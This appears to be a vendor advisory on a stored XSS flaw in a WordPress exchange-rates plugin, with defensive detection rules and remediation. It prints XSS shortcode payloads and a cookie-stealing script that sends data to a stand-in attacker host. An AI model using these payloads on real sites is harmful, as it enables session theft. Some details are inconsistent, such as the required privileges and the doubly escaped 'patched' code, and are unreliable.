CVE-2025-58624

Executive Summary

CVE-2025-58624 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Exchange Rates by Falselight, affecting versions up to and including 1.2.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the plugin's admin or front-end pages. This can lead to session hijacking, defacement, or redirection to malicious sites. The CVSS score is 6.5 (Medium), and no public exploit code or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for unpatched WordPress installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin package and monitor for updates. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this vulnerability in targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must visit a crafted page
• Scope: Changed (S:C) – impact may extend beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature allows persistent attacks against site administrators and visitors, potentially leading to privilege escalation or data theft.

Deep Dive & Mechanics

The vulnerability exists in the exchange-rates WordPress plugin, which displays currency exchange rates. The plugin fails to sanitize or escape user-supplied input (e.g., via shortcode attributes, admin settings, or custom fields) before rendering it in the HTML output. An attacker with contributor-level access or higher can inject malicious JavaScript that executes when an administrator or visitor views the affected page.

Attack Flow:

1. Attacker identifies an input field (e.g., a shortcode parameter like [exchange-rates currency="USD"]) that is not properly sanitized.
2. Attacker submits a payload such as USD" onmouseover="alert(1)" or a more sophisticated script.
3. The payload is stored in the WordPress database.
4. When an administrator or visitor loads the page containing the shortcode, the injected script executes in their browser context.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to a phishing site.

Root Cause: The plugin uses echo or print functions without applying WordPress escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (example from exchange-rates <= 1.2.5):

function exchange_rates_shortcode($atts) {
    $currency = $atts['currency'];
    echo "<div class='exchange-rate'>Currency: $currency</div>";
}

Patched Code (hypothetical fix):

function exchange_rates_shortcode($atts) {
    $currency = esc_html($atts['currency']);
    echo "<div class='exchange-rate'>Currency: " . esc_html($currency) . "</div>";
}

The patched version uses esc_html() to neutralize any HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress installation with Exchange Rates plugin <= 1.2.5
• Contributor-level account or ability to inject into shortcode attributes

Exploitation Steps:

1. Create a new post or page.
2. Insert the shortcode with a malicious payload:

   [exchange-rates currency='USD" onfocus="alert(document.cookie)" autofocus="']
   

3. Save and publish the post.
4. When an administrator views the post, the JavaScript executes.

Payload Example:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual shortcode usage in posts/pages.
• Check for unexpected JavaScript in plugin output.
• Use Web Application Firewall (WAF) rules to block XSS patterns.

Lab Setup:

• Install WordPress locally with the vulnerable plugin.
• Use a browser with developer tools to inspect the DOM after injecting payloads.
• Simulate attacks using Burp Suite or OWASP ZAP.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – plugin files may vary)
• Network Indicators:
  • Outbound connections to unknown domains from WordPress admin pages.
  • HTTP requests containing document.cookie or fetch in query strings.
• Log Entries:
  • WordPress debug log entries showing unexpected HTML in shortcode output.
  • Web server logs with onmouseover, onfocus, or <script> in POST data.
• Database Indicators:
  • Posts/pages containing <script> tags in post_content column.

Detection Engineering

YARA Rule

rule CVE_2025_58624_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Exchange Rates plugin output"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58624"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*["'][^"']*["']/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-58624 Stored XSS in Exchange Rates Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts via shortcode injection
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'exchange-rates'
        cs-uri-query|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58624 Stored XSS in Exchange Rates Plugin"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"exchange-rates"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove any suspicious posts/pages containing malicious shortcodes.
3. Change all admin passwords and invalidate existing sessions.

Long-term Fix:

• Apply input sanitization and output escaping in the plugin code (see patched code example).
• Use WordPress functions like esc_html(), esc_attr(), and wp_kses_post().
• Implement a Content Security Policy (CSP) to mitigate XSS impact.

Workarounds:

• Use a Web Application Firewall (WAF) with XSS rules.
• Restrict contributor-level access to trusted users only.
• Monitor plugin updates from the WordPress repository.

Valters IT – Securing digital frontiers, one vulnerability at a time.